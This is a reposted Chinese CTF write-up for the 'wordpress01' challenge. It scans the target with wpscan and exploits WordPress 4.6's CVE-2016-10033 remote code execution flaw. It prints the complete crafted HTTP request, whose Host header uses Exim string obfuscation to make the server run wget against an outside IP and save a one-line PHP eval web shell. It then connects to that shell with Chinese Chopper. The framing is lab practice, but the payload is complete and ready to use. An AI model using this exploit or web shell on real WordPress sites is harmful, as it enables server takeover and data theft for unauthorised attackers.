ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

安鸾CTF Writeup wordpress 01

2021-08-12 19:00:57  阅读:353  来源: 互联网

标签:01 Writeup 999 spool substr CTF wpscan directory wordpress


- 题目一: wordpress01  

URL:http://whalwl.site:8041/

 

使用wpscan 进行扫描检测。

wpscan 使用方法可以参考两篇文章:

https://xz.aliyun.com/t/2794  https://github.com/wpscanteam/wpscan

 

wpscan --url http://whalwl.site:8041/

从wpscan扫描得知该站 wordpress 版本为4.6 

查询资料得知,4.6版本的wordpress 存在 RCE漏洞 

相关漏洞详情可以参考,或自己查找CVE-2016-10033相关详情 

https://vulhub.org/vulhub/wordpress/pwnscriptum/README.zh-cn.md

 

下面复现一下怎么getshell,老规矩上 Burp Suite  进行抓包

构造EXP时需注意:

  1. 远程 URL 中不要有 http://
  2. 所有字母必须小写
  3. 所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
  4. 所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

实际执行命令:

/usr/bin/wget --output-document /var/www/html/999.php 167.160.xxx.217/999.txt
999.txt:
<?php @eval($_POST[ok]);?>

 

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}999.php${substr{10}{1}{$tod_log}}167.160.xxx.217${substr{0}{1}{$spool_directory}}999.txt}} null)
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-2=uploader%3D1%26mfold%3Do; wp-settings-time-2=1627704969; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

wp-submit=Get+New+Password&redirect_to=&user_login=admin

 

 

 

 

 

然后用菜刀连接:http://whalwl.site:8041/999.php 密码:ok

 

访问根目录获取flag

 

 

标签:01,Writeup,999,spool,substr,CTF,wpscan,directory,wordpress
来源: https://www.cnblogs.com/jzking121/p/15132214.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有